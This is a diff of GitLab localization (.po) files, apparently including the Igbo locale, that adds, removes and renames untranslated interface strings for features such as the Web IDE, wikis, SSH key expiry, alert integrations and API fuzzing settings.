@@ -32889,6 +33673,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33294,15 +34081,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33477,6 +34279,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33574,9 +34379,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33649,34 +34451,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33688,9 +34505,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33703,9 +34517,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33766,6 +34577,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -33922,6 +34736,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34063,6 +34883,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34147,9 +34970,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34186,12 +35006,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34225,7 +35039,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34240,9 +35054,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34426,12 +35237,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34552,6 +35369,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34645,7 +35465,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34751,6 +35571,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35052,6 +35875,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35231,6 +36063,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35400,7 +36235,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35434,13 +36269,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35554,9 +36386,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35707,18 +36536,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35749,9 +36572,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -35818,15 +36638,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36099,9 +36910,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36147,6 +36955,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/ig_NG/gitlab.po b/locale/ig_NG/gitlab.po
index 3c3ff84a4c5..6c66763084b 100644
--- a/locale/ig_NG/gitlab.po
+++ b/locale/ig_NG/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: ig\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:53\n"
+"PO-Revision-Date: 2021-04-02 00:13\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -110,6 +110,10 @@ msgid "%d changed file"
msgid_plural "%d changed files"
msgstr[0] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -177,6 +181,10 @@ msgid "%d failed security job"
msgid_plural "%d failed security jobs"
msgstr[0] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -333,6 +341,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -345,6 +356,10 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -370,17 +385,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-
msgid "%{count} more"
msgstr ""
@@ -473,7 +480,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -854,6 +861,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -985,6 +995,9 @@ msgstr[0] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1058,6 +1071,10 @@ msgid "1 day"
msgid_plural "%d days"
msgstr[0] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1074,6 +1091,14 @@ msgid "1 hour"
msgid_plural "%d hours"
msgstr[0] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1082,6 +1107,10 @@ msgid "1 minute"
msgid_plural "%d minutes"
msgstr[0] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1102,6 +1131,14 @@ msgid "1 user"
msgid_plural "%{num} users"
msgstr[0] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1219,9 +1256,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1231,13 +1265,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1312,9 +1343,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1333,13 +1361,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|/folder/example_file.json"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1351,6 +1391,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1363,16 +1406,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1381,16 +1427,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1423,9 +1469,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1603,6 +1646,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1633,10 +1679,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1682,6 +1724,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1757,6 +1802,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1784,9 +1832,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1814,6 +1859,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1832,6 +1880,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -1925,6 +1976,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -1952,6 +2006,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2093,9 +2150,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2531,6 +2585,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2577,6 +2637,9 @@ msgid "Alert"
msgid_plural "Alerts"
msgstr[0] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2739,6 +2802,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2754,13 +2823,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2769,25 +2841,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2802,24 +2877,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2829,6 +2916,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2838,9 +2928,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2877,7 +2964,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -2967,9 +3057,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3033,6 +3120,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3060,6 +3150,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3117,6 +3210,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3240,6 +3336,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3252,9 +3351,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3345,7 +3441,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3483,9 +3579,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3687,6 +3780,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3706,6 +3802,9 @@ msgid "ApprovalRuleSummary|%{count} approval required from %{membersCount}"
msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCount}"
msgstr[0] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3715,6 +3814,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3724,9 +3826,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3863,6 +3962,12 @@ msgid "Are you sure you want to import %d repository?"
msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -3923,6 +4028,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -3965,13 +4076,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4396,6 +4507,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
